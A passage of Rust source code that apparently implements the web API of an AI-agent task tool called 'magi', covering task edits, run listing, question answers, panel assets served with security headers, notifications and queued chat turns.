3345 Path(id): Path<String>,
3346 body: std::result::Result<Json<EditBody>, JsonRejection>,
3347) -> ApiResult<Json<TaskView>> {
3348 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3349 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
3350 mutate(ui, id, move |t| {
3351 if !body.force && body.instruction != t.instruction {
3352 let hits =
3353 crate::dupes::check(&queue, &runs, &t.repo, &body.instruction, None, Some(&t.id));
3354 if !hits.is_empty() {
3355 return Err(crate::dupes::Duplicate(hits).into());
3356 }
3357 }
3358 t.edit(body.title.clone(), body.instruction.clone())
3359 })
3360 .await
3361}
3362
3363async fn queue_done(
3371 State(ui): State<Arc<Ui>>,
3372 Path(id): Path<String>,
3373) -> ApiResult<Json<TaskView>> {
3374 let home = ui.home.clone();
3375 mutate(ui, id, move |t| {
3376 t.succeed();
3377 crate::daemon::supersede_prior_runs(t, &home);
3385 Ok(())
3386 })
3387 .await
3388}
3389
3390async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3398 blocking(move || {
3399 let id = resolve_task(&ui.queue, &id)?;
3400 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
3401 ui.queue
3402 .remove(&id, in_flight, &ui.questions)
3403 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3404 Ok(StatusCode::NO_CONTENT)
3405 })
3406 .await
3407}
3408
3409async fn mutate(
3418 ui: Arc<Ui>,
3419 id: String,
3420 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
3421) -> ApiResult<Json<TaskView>> {
3422 blocking(move || {
3423 let id = resolve_task(&ui.queue, &id)?;
3424 let _claim = ui.queue.claim(&id).map_err(|e| {
3429 ApiError::conflict(format!(
3430 "{e:#} - a daemon is running this task, so it cannot be \
3431 changed from here yet"
3432 ))
3433 })?;
3434 let mut task = ui.queue.get(&id)?;
3435 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
3436 Ok(dup) => ApiError::conflict(dup.render(
3437 "Nothing was saved. If it is not a duplicate, repeat the request with \
3438 \"force\": true.",
3439 )),
3440 Err(e) => ApiError::bad_request_from(e),
3441 })?;
3442 ui.queue.put(&mut task)?;
3443 Ok(Json(TaskView::from(task)))
3444 })
3445 .await
3446}
3447
3448async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
3456 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
3457 tokio::spawn(async move {
3458 let mut ticker = tokio::time::interval(POLL);
3459 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
3460 loop {
3461 ticker.tick().await;
3464 let state = Arc::clone(&ui);
3465 let revisions = tokio::task::spawn_blocking(move || {
3466 (
3467 state.queue.revision(),
3468 runs_revision(&state.runs),
3469 state.questions.revision(),
3470 state.talks.revision(),
3471 state.notices.revision(),
3472 state.lock_loop().rev,
3476 )
3477 })
3478 .await;
3479 let Ok(revisions) = revisions else { break };
3480 if last == Some(revisions) {
3481 continue;
3482 }
3483 last = Some(revisions);
3484 let payload = serde_json::json!({
3485 "queue_rev": revisions.0,
3486 "runs_rev": revisions.1,
3487 "questions_rev": revisions.2,
3488 "talks_rev": revisions.3,
3489 "notifications_rev": revisions.4,
3490 "loop_rev": revisions.5,
3491 });
3492 let Ok(event) = Event::default().event("change").json_data(payload) else {
3494 break;
3495 };
3496 if tx.send(event).await.is_err() {
3497 break;
3498 }
3499 }
3500 });
3501 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
3502 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
3503}
3504
3505fn runs_revision(runs: &FsPath) -> u64 {
3512 use std::hash::{Hash as _, Hasher as _};
3513
3514 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
3515 .into_iter()
3516 .flatten()
3517 .flatten()
3518 .filter_map(|e| {
3519 let path = e.path().join("run.json");
3520 let mtime = path
3521 .metadata()
3522 .ok()?
3523 .modified()
3524 .ok()?
3525 .duration_since(std::time::UNIX_EPOCH)
3526 .ok()?
3527 .as_millis() as u64;
3528 let id = e.file_name().to_string_lossy().into_owned();
3529 Some((id, mtime))
3530 })
3531 .collect();
3532
3533 if entries.is_empty() {
3534 return 0;
3535 }
3536
3537 entries.sort_unstable();
3538 let mut hasher = std::hash::DefaultHasher::new();
3539 for (id, mtime) in &entries {
3540 id.hash(&mut hasher);
3541 mtime.hash(&mut hasher);
3542 }
3543 let h = hasher.finish();
3544 if h == 0 { 1 } else { h }
3545}
3546
3547fn run_ids(runs: &FsPath) -> Vec<String> {
3553 let mut ids: Vec<String> = std::fs::read_dir(runs)
3554 .into_iter()
3555 .flatten()
3556 .flatten()
3557 .filter(|e| e.path().join("run.json").is_file())
3558 .map(|e| e.file_name().to_string_lossy().into_owned())
3559 .collect();
3560 ids.sort_unstable_by(|a, b| b.cmp(a));
3562 ids
3563}
3564
3565fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
3567 let path = runs.join(id).join("run.json");
3568 let body =
3569 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
3570 let state: RunState =
3571 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
3572 if state.schema != run::SCHEMA {
3573 anyhow::bail!(
3574 "run {} was written by a different magi (schema {}, this build speaks {})",
3575 state.id,
3576 state.schema,
3577 run::SCHEMA
3578 );
3579 }
3580 Ok(state)
3581}
3582
3583#[must_use]
3591pub fn runs_unreadable(runs: &FsPath) -> usize {
3592 run_ids(runs)
3593 .into_iter()
3594 .filter(|id| read_run(runs, id).is_err())
3595 .count()
3596}
3597
3598fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
3600 if runs.join(id).join("run.json").is_file() {
3601 return Ok(id.to_owned());
3602 }
3603 pick(run_ids(runs), id, "run")
3604}
3605
3606fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
3608 if queue.path_of(id).is_file() {
3609 return Ok(id.to_owned());
3610 }
3611 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
3612}
3613
3614#[derive(Debug, Serialize)]
3625struct QuestionView {
3626 #[serde(flatten)]
3627 question: Question,
3628 detail_md: Vec<md::Node>,
3629 waiting_on_agent: bool,
3639 holder: Option<&'static str>,
3643}
3644
3645impl QuestionView {
3646 fn of(question: Question, store: &ask::Questions) -> Self {
3650 let base = md::ImageBase::QuestionPanel {
3651 id: question.id.clone(),
3652 };
3653 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
3654 Self {
3655 detail_md: md::to_nodes(&question.detail, &base),
3656 waiting_on_agent: question.waiting_on_agent(),
3657 holder,
3658 question,
3659 }
3660 }
3661}
3662
3663fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
3670 if !q.status.open() || q.cwd.is_none() {
3671 return None;
3672 }
3673 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
3674 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
3675 Some(_) => "asker",
3676 None => "nobody",
3677 })
3678}
3679
3680async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
3686 blocking(move || {
3687 Ok(Json(
3688 ui.questions
3689 .list()
3690 .into_iter()
3691 .map(|q| QuestionView::of(q, &ui.questions))
3692 .collect(),
3693 ))
3694 })
3695 .await
3696}
3697
3698async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3701 blocking(move || {
3702 let items = ui.notices.list();
3703 let unread = items.iter().filter(|n| n.unread()).count();
3704 Ok(Json(
3705 serde_json::json!({ "unread": unread, "items": items }),
3706 ))
3707 })
3708 .await
3709}
3710
3711fn notice_error(e: anyhow::Error) -> ApiError {
3712 ApiError::not_found(format!("{e:#}"))
3715}
3716
3717async fn notification_read(
3719 State(ui): State<Arc<Ui>>,
3720 Path(id): Path<String>,
3721) -> ApiResult<Json<Notice>> {
3722 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
3723}
3724
3725async fn notification_dismiss(
3727 State(ui): State<Arc<Ui>>,
3728 Path(id): Path<String>,
3729) -> ApiResult<Json<Notice>> {
3730 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
3731}
3732
3733async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3735 blocking(move || {
3736 let changed = ui.notices.mark_all_read()?;
3737 Ok(Json(serde_json::json!({ "marked": changed })))
3738 })
3739 .await
3740}
3741
3742#[derive(Debug, Default, Deserialize)]
3748#[serde(default, deny_unknown_fields)]
3749struct NewAnswer {
3750 choice: Option<String>,
3751 text: Option<String>,
3752}
3753
3754async fn question_answer(
3755 State(ui): State<Arc<Ui>>,
3756 Path(id): Path<String>,
3757 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
3758) -> ApiResult<Json<QuestionView>> {
3759 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3760 let answer = match (body.choice, body.text) {
3761 (Some(c), None) => Answer::Choice(c),
3762 (None, Some(t)) => Answer::Text(t),
3763 (Some(_), Some(_)) => {
3764 return Err(ApiError::bad_request(
3765 "send either `choice` or `text`, not both",
3766 ));
3767 }
3768 (None, None) => {
3769 return Err(ApiError::bad_request("send a `choice` or a `text`"));
3770 }
3771 };
3772
3773 blocking(move || {
3774 let id = resolve_question(&ui.questions, &id)?;
3775 let q = ui
3776 .questions
3777 .get(&id)
3778 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3779 if !q.status.open() {
3780 return Err(ApiError::conflict(format!(
3784 "question {} is already {}",
3785 q.short(),
3786 q.status.as_str()
3787 )));
3788 }
3789 let (q, ()) = ui
3793 .questions
3794 .update(&q.id, |r| r.answer(answer))
3795 .map_err(ApiError::bad_request_from)?;
3796 Ok(Json(QuestionView::of(q, &ui.questions)))
3797 })
3798 .await
3799}
3800
3801#[derive(Debug, Deserialize)]
3803#[serde(deny_unknown_fields)]
3804struct NewSay {
3805 body: String,
3806}
3807
3808async fn question_say(
3818 State(ui): State<Arc<Ui>>,
3819 Path(id): Path<String>,
3820 body: std::result::Result<Json<NewSay>, JsonRejection>,
3821) -> ApiResult<Json<QuestionView>> {
3822 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3823 blocking(move || {
3824 let id = resolve_question(&ui.questions, &id)?;
3825 let q = ui
3826 .questions
3827 .get(&id)
3828 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3829 if !q.status.open() {
3830 return Err(ApiError::conflict(format!(
3834 "question {} is already {}",
3835 q.short(),
3836 q.status.as_str()
3837 )));
3838 }
3839 let (q, ()) = ui
3842 .questions
3843 .update(&q.id, |r| r.say(body.body))
3844 .map_err(ApiError::bad_request_from)?;
3845 Ok(Json(QuestionView::of(q, &ui.questions)))
3846 })
3847 .await
3848}
3849
3850fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3852 if store.path_of(id).is_file() {
3853 return Ok(id.to_owned());
3854 }
3855 pick(
3856 store.list().into_iter().map(|q| q.id).collect(),
3857 id,
3858 "question",
3859 )
3860}
3861
3862async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3877 blocking(move || {
3878 let id = resolve_question(&ui.questions, &id)?;
3879 let Some(html) = ui.questions.panel_html(&id) else {
3880 return Err(ApiError::not_found(format!("question {id} has no panel")));
3881 };
3882 Ok(panel_response(
3883 "text/html; charset=utf-8",
3884 false,
3885 html.into_bytes(),
3886 ))
3887 })
3888 .await
3889}
3890
3891async fn question_asset(
3919 State(ui): State<Arc<Ui>>,
3920 Path((id, name)): Path<(String, String)>,
3921) -> ApiResult<Response> {
3922 if !crate::ask::valid_asset_name(&name) {
3925 return Err(ApiError::bad_request(format!(
3926 "`{name}` is not a usable asset name"
3927 )));
3928 }
3929 blocking(move || {
3930 let id = resolve_question(&ui.questions, &id)?;
3931 let asset = ui
3932 .questions
3933 .panel_asset(&id, &name)
3934 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3935 let Some(bytes) = asset else {
3936 return Err(ApiError::not_found(format!(
3937 "question {id} has no asset `{name}`"
3938 )));
3939 };
3940 Ok(panel_response(
3941 asset_content_type(&name),
3942 is_svg(&name),
3943 bytes,
3944 ))
3945 })
3946 .await
3947}
3948
3949fn asset_content_type(name: &str) -> &'static str {
3962 match extension(name).as_deref() {
3963 Some("png") => "image/png",
3964 Some("jpg" | "jpeg") => "image/jpeg",
3965 Some("gif") => "image/gif",
3966 Some("webp") => "image/webp",
3967 Some("svg") => "image/svg+xml",
3968 Some("css") => "text/css; charset=utf-8",
3969 Some("txt") => "text/plain; charset=utf-8",
3970 _ => "application/octet-stream",
3971 }
3972}
3973
3974fn is_svg(name: &str) -> bool {
3977 extension(name).as_deref() == Some("svg")
3978}
3979
3980fn extension(name: &str) -> Option<String> {
3982 name.rsplit_once('.')
3983 .map(|(_, ext)| ext.to_ascii_lowercase())
3984}
3985
3986fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
4003 let mut res = (
4004 [
4005 (header::CONTENT_TYPE, content_type),
4006 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
4007 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4008 (header::REFERRER_POLICY, "no-referrer"),
4009 ],
4010 body,
4011 )
4012 .into_response();
4013 if download {
4014 res.headers_mut().insert(
4015 header::CONTENT_DISPOSITION,
4016 HeaderValue::from_static("attachment"),
4017 );
4018 }
4019 res
4020}
4021
4022#[derive(Debug, Serialize)]
4028struct TalkView {
4029 #[serde(flatten)]
4030 talk: Talk,
4031 turn_bodies_md: Vec<Vec<md::Node>>,
4032 thinking: bool,
4040}
4041
4042impl TalkView {
4043 fn new(talk: Talk, thinking: bool) -> Self {
4044 let turn_bodies_md = talk
4045 .turns
4046 .iter()
4047 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
4048 .collect();
4049 Self {
4050 turn_bodies_md,
4051 thinking,
4052 talk,
4053 }
4054 }
4055}
4056
4057#[derive(Debug, Serialize)]
4062struct TalkDetailView {
4063 #[serde(flatten)]
4064 view: TalkView,
4065 tasks: Vec<TaskView>,
4066}
4067
4068async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
4073 blocking(move || {
4074 Ok(Json(
4075 ui.talks
4076 .list()
4077 .into_iter()
4078 .map(|talk| {
4079 let thinking = ui.is_thinking(&talk.id);
4080 TalkView::new(talk, thinking)
4081 })
4082 .collect(),
4083 ))
4084 })
4085 .await
4086}
4087
4088#[derive(Debug, Default, Deserialize)]
4093#[serde(default)]
4094struct NewTalk {
4095 agent: Option<String>,
4096 repo: Option<PathBuf>,
4097}
4098
4099async fn talk_post(
4102 State(ui): State<Arc<Ui>>,
4103 body: std::result::Result<Json<NewTalk>, JsonRejection>,
4104) -> ApiResult<impl IntoResponse> {
4105 let body = match body {
4109 Ok(Json(body)) => body,
4110 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
4111 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4112 };
4113 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
4114 let cfg = config_for(&repo).await?;
4115 let view = blocking(move || {
4116 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
4117 let thinking = ui.is_thinking(&talk.id);
4118 Ok(TalkView::new(talk, thinking))
4119 })
4120 .await?;
4121 Ok((StatusCode::CREATED, Json(view)))
4122}
4123
4124async fn talk_detail(
4126 State(ui): State<Arc<Ui>>,
4127 Path(id): Path<String>,
4128) -> ApiResult<Json<TalkDetailView>> {
4129 blocking(move || {
4130 let id = resolve_talk(&ui.talks, &id)?;
4131 let talk = ui.talks.get(&id)?;
4132 let thinking = ui.is_thinking(&talk.id);
4133 let tasks = talk::tasks_of(&ui.queue, &talk.id)
4134 .into_iter()
4135 .map(TaskView::from)
4136 .collect();
4137 Ok(Json(TalkDetailView {
4138 view: TalkView::new(talk, thinking),
4139 tasks,
4140 }))
4141 })
4142 .await
4143}
4144
4145#[derive(Debug, Default, Deserialize)]
4151#[serde(default, deny_unknown_fields)]
4152struct NewTalkTurn {
4153 text: String,
4154 attachments: Vec<String>,
4155}
4156
4157#[derive(Debug, Deserialize)]
4158#[serde(deny_unknown_fields)]
4159struct EditTalkPending {
4160 text: String,
4161 expected_text: String,
4162 expected_attachments: Vec<String>,
4163}
4164
4165#[derive(Debug, Deserialize)]
4166#[serde(deny_unknown_fields)]
4167struct ClearTalkPending {
4168 expected_text: String,
4169 expected_attachments: Vec<String>,
4170}
4171
4172async fn talk_say(
4184 State(ui): State<Arc<Ui>>,
4185 Path(id): Path<String>,
4186 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
4187) -> ApiResult<(StatusCode, Json<TalkView>)> {
4188 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4189 if body.text.trim().is_empty() && body.attachments.is_empty() {
4190 return Err(ApiError::bad_request("say something"));
4191 }
4192
4193 let id = {
4194 let ui = Arc::clone(&ui);
4195 let asked = id.clone();
4196 blocking(move || resolve_talk(&ui.talks, &asked)).await?
4197 };
4198 {
4202 let ui = Arc::clone(&ui);
4203 let id = id.clone();
4204 blocking(move || {
4205 let talk = ui.talks.get(&id)?;
4206 if !talk.status.open() {
4207 return Err(ApiError::conflict(format!(
4208 "talk {} is {} and takes no more turns",
4209 talk.short(),
4210 talk.status.as_str()
4211 )));
4212 }
4213 Ok(())
4214 })
4215 .await?;
4216 }
4217
4218 let attachments = {
4223 let ui = Arc::clone(&ui);
4224 let id = id.clone();
4225 let ids = body.attachments.clone();
4226 blocking(move || {
4227 ids.into_iter()
4228 .map(|att_id| {
4229 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
4230 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
4231 })
4232 })
4233 .collect::<ApiResult<Vec<talk::Attachment>>>()
4234 })
4235 .await?
4236 };
4237
4238 let start = {
4243 let ui = Arc::clone(&ui);
4244 let id = id.clone();
4245 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
4246 };
4247 let turn_guard = match start {
4248 TalkTurnStart::Claimed(turn_guard) => turn_guard,
4249 TalkTurnStart::Pending => {
4250 return Err(ApiError::conflict(
4251 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
4252 ));
4253 }
4254 TalkTurnStart::Busy => {
4255 let (tx, rx) = tokio::sync::oneshot::channel();
4271 tokio::spawn({
4272 let ui = Arc::clone(&ui);
4273 let id = id.clone();
4274 let said = body.text.clone();
4275 async move {
4276 let written = blocking({
4277 let ui = Arc::clone(&ui);
4278 let id = id.clone();
4279 move || {
4280 let mut talk = ui.talks.get(&id)?;
4281 #[cfg(test)]
4286 if let Some(gate) = ui
4287 .busy_queue_gate
4288 .lock()
4289 .unwrap_or_else(PoisonError::into_inner)
4290 .take()
4291 {
4292 let _ = gate.reached.send(());
4293 let _ = gate.release.recv();
4294 }
4295 if let Err(error) =
4296 talk::queue(&mut talk, &ui.talks, &said, attachments)
4297 {
4298 if let Ok(fresh) = ui.talks.get(&id) {
4299 if !fresh.status.open() {
4300 return Err(ApiError::conflict(format!(
4301 "talk {} is {} and takes no more turns",
4302 fresh.short(),
4303 fresh.status.as_str()
4304 )));
4305 }
4306 }
4307 return Err(ApiError::from(error));
4308 }
4309 let claim = match ui.begin_queued_talk_turn(&id)? {
4320 Some(turn_guard) => {
4321 let (cfg, _) = Config::discover(&talk.repo, None)?;
4322 Some((talk.clone(), cfg, turn_guard))
4323 }
4324 None => None,
4325 };
4326 let thinking = ui.is_thinking(&id);
4327 Ok((TalkView::new(talk, thinking), claim))
4328 }
4329 })
4330 .await;
4331 let (view, reclaimed) = match written {
4332 Ok(pair) => pair,
4333 Err(e) => {
4334 let _ = tx.send(Err(e));
4339 return;
4340 }
4341 };
4342 let _ = tx.send(Ok(view));
4345 if let Some((talk, cfg, turn_guard)) = reclaimed {
4346 let talks = ui.talks.clone();
4347 drain_loop(talk, talks, cfg, id, turn_guard).await;
4348 }
4349 }
4350 });
4351 let view = rx
4352 .await
4353 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4354 return Ok((StatusCode::ACCEPTED, Json(view)));
4355 }
4356 };
4357
4358 let (talk, cfg) = {
4359 let ui = Arc::clone(&ui);
4360 let id = id.clone();
4361 blocking(move || {
4362 let talk = ui.talks.get(&id)?;
4363 let (cfg, _) = Config::discover(&talk.repo, None)?;
4364 Ok((talk, cfg))
4365 })
4366 .await?
4367 };
4368
4369 let talks = ui.talks.clone();
4370 let (tx, rx) = tokio::sync::oneshot::channel();
4385 tokio::spawn({
4386 let ui = Arc::clone(&ui);
4387 let talks = talks.clone();
4388 let id = id.clone();
4389 let said = body.text.clone();
4390 let mut talk = talk.clone();
4391 async move {
4392 let recorded = blocking({
4393 let talks = talks.clone();
4394 move || {
4395 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
4396 if let Ok(fresh) = talks.get(&talk.id) {
4397 if !fresh.status.open() {
4398 return Err(ApiError::conflict(format!(
4399 "talk {} is {} and takes no more turns",
4400 fresh.short(),
4401 fresh.status.as_str()
4402 )));
4403 }
4404 }
4405 return Err(ApiError::from(error));
4406 }
4407 Ok((said.trim().to_owned(), talk))
4413 }
4414 })
4415 .await;
4416 let (text, mut talk) = match recorded {
4417 Ok(pair) => pair,
4418 Err(e) => {
4419 let _ = tx.send(Err(e));
4423 return;
4424 }
4425 };
4426 let queued = talk.clone();
4427 let thinking = ui.is_thinking(&id);
4428 let _ = tx.send(Ok((queued, thinking)));
4431
4432 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
4433 tracing::warn!("talk {id} turn failed: {e:#}");
4437 }
4438 drain_loop(talk, talks, cfg, id, turn_guard).await;
4441 }
4442 });
4443
4444 let (queued, thinking) = rx
4445 .await
4446 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4447
4448 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
4450}
4451
4452async fn talk_pending_resume(
4456 State(ui): State<Arc<Ui>>,
4457 Path(id): Path<String>,
4458) -> ApiResult<(StatusCode, Json<TalkView>)> {
4459 let id = {
4460 let ui = Arc::clone(&ui);
4461 let asked = id.clone();
4462 blocking(move || resolve_talk(&ui.talks, &asked)).await?
4463 };
4464 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
4465 return Err(ApiError::conflict(
4466 "a talk turn is already running; the queued draft will be handled by it",
4467 ));
4468 };
4469 let (talk, cfg) = {
4470 let ui = Arc::clone(&ui);
4471 let id = id.clone();
4472 blocking(move || {
4473 let talk = ui.talks.get(&id)?;
4474 if !talk.status.open() {
4475 return Err(ApiError::conflict(format!(
4476 "talk {} is {} and takes no more turns",
4477 talk.short(),
4478 talk.status.as_str()
4479 )));
4480 }
4481 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
4482 return Err(ApiError::conflict("there is no queued draft to resume"));
4483 }
4484 let (cfg, _) = Config::discover(&talk.repo, None)?;
4485 Ok((talk, cfg))
4486 })
4487 .await?
4488 };
4489 let view = TalkView::new(talk.clone(), true);
4490 let talks = ui.talks.clone();
4491 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4492 Ok((StatusCode::ACCEPTED, Json(view)))
4493}
4494
4495async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
4511 let live_set = Arc::clone(&turn.turns);
4512 let mut turn = Some(turn);
4520 loop {
4521 let observed = live_set
4525 .lock()
4526 .unwrap_or_else(PoisonError::into_inner)
4527 .queued
4528 .get(&id)
4529 .copied()
4530 .unwrap_or(0);
4531 let drained = blocking({
4532 let talks = talks.clone();
4533 move || {
4534 let result = talk::drain(&mut talk, &talks);
4535 Ok((talk, result))
4536 }
4537 })
4538 .await;
4539 let (next_talk, result) = match drained {
4540 Ok(drained) => drained,
4541 Err(e) => {
4542 tracing::warn!(
4543 status = %e.status,
4544 message = %e.message,
4545 "talk {id} could not start queued-text drain"
4546 );
4547 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4548 turn.take()
4549 .expect("held for the whole loop until released here")
4550 .release(&mut live);
4551 break;
4552 }
4553 };
4554 talk = next_talk;
4555 let drained = match result {
4556 Ok(Some(drained)) => drained,
4557 Ok(None) => {
4558 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4559 if live.queued.get(&id).copied().unwrap_or(0) != observed {
4560 continue;
4561 }
4562 turn.take()
4563 .expect("held for the whole loop until released here")
4564 .release(&mut live);
4565 break;
4566 }
4567 Err(e) => {
4568 tracing::warn!("talk {id} could not drain queued text: {e:#}");
4569 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4570 turn.take()
4571 .expect("held for the whole loop until released here")
4572 .release(&mut live);
4573 break;
4574 }
4575 };
4576 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
4577 tracing::warn!("talk {id} turn failed: {e:#}");
4578 }
4579 }
4580}
4581
4582async fn talk_pending_clear(
4584 State(ui): State<Arc<Ui>>,
4585 Path(id): Path<String>,
4586 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
4587) -> ApiResult<Json<TalkView>> {
4588 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4589 blocking(move || {
4590 let id = resolve_talk(&ui.talks, &id)?;
4591 let mut talk = ui.talks.get(&id)?;
4592 if !talk.status.open() {
4593 return Err(ApiError::conflict(format!(
4594 "talk {} is {} and takes no more turns",
4595 talk.short(),
4596 talk.status.as_str()
4597 )));
4598 }
4599 if !talk::clear_pending_if_matches(
4600 &mut talk,
4601 &ui.talks,
4602 &body.expected_text,
4603 &body.expected_attachments,
4604 )? {
4605 return Err(ApiError::conflict(
4606 "queued message changed; reload it before clearing",
4607 ));
4608 }
4609 let thinking = ui.is_thinking(&talk.id);
4610 Ok(Json(TalkView::new(talk, thinking)))
4611 })
4612 .await
4613}
4614
4615async fn talk_pending_edit(
4619 State(ui): State<Arc<Ui>>,
4620 Path(id): Path<String>,
4621 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
4622) -> ApiResult<Json<TalkView>> {
4623 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4624 let (view, reclaimed) = blocking({
4625 let ui = Arc::clone(&ui);
4626 move || {
4627 let id = resolve_talk(&ui.talks, &id)?;
4628 let mut talk = ui.talks.get(&id)?;
4629 if !talk.status.open() {
4630 return Err(ApiError::conflict(format!(
4631 "talk {} is {} and takes no more turns",
4632 talk.short(),
4633 talk.status.as_str()
4634 )));
4635 }
4636 if !talk::edit_pending_text(
4637 &mut talk,
4638 &ui.talks,
4639 &body.text,
4640 &body.expected_text,
4641 &body.expected_attachments,
4642 )? {
4643 return Err(ApiError::conflict(
4644 "queued message changed; reload it before editing",
4645 ));
4646 }
4647 let claim = match ui.begin_queued_talk_turn(&id)? {
4648 Some(turn_guard) => {
4649 let (cfg, _) = Config::discover(&talk.repo, None)?;
4650 Some((talk.clone(), cfg, id.clone(), turn_guard))
4651 }
4652 None => None,
4653 };
4654 let thinking = ui.is_thinking(&id);
4655 Ok((TalkView::new(talk, thinking), claim))
4656 }
4657 })
4658 .await?;
4659 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
4660 let talks = ui.talks.clone();
4661 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4662 }
4663 Ok(Json(view))
4664}
4665
4666async fn talk_close(
4668 State(ui): State<Arc<Ui>>,
4669 Path(id): Path<String>,
4670) -> ApiResult<Json<TalkView>> {
4671 blocking(move || {
4672 let id = resolve_talk(&ui.talks, &id)?;
4673 let mut talk = ui.talks.get(&id)?;
4674 talk::close(&mut talk, &ui.talks)?;
4675 let thinking = ui.is_thinking(&talk.id);
4676 Ok(Json(TalkView::new(talk, thinking)))
4677 })
4678 .await
4679}
4680
4681async fn talk_reopen(
4683 State(ui): State<Arc<Ui>>,
4684 Path(id): Path<String>,
4685) -> ApiResult<Json<TalkView>> {
4686 blocking(move || {
4687 let id = resolve_talk(&ui.talks, &id)?;
4688 let mut talk = ui.talks.get(&id)?;
4689 talk::reopen(&mut talk, &ui.talks)?;
4690 let thinking = ui.is_thinking(&talk.id);
4691 Ok(Json(TalkView::new(talk, thinking)))
4692 })
4693 .await
4694}
4695
4696async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4706 blocking(move || {
4707 let id = resolve_talk(&ui.talks, &id)?;
4708 ui.talks.remove(&id)?;
4709 Ok(StatusCode::NO_CONTENT)
4710 })
4711 .await
4712}
4713
4714fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
4716 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
4717}
4718
4719async fn talk_attachment_post(
4722 State(ui): State<Arc<Ui>>,
4723 Path(id): Path<String>,
4724 headers: HeaderMap,
4725 body: Bytes,
4726) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
4727 let mime = validate_attachment(&headers, &body)?;
4728 let name = filename_header(&headers);
4729 let data = body.to_vec();
4730 blocking(move || {
4731 let id = resolve_talk(&ui.talks, &id)?;
4732 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
4733 Ok((StatusCode::CREATED, Json(att)))
4734 })
4735 .await
4736}
4737
4738async fn talk_attachment_get(
4741 State(ui): State<Arc<Ui>>,
4742 Path((id, att)): Path<(String, String)>,
4743) -> ApiResult<Response> {
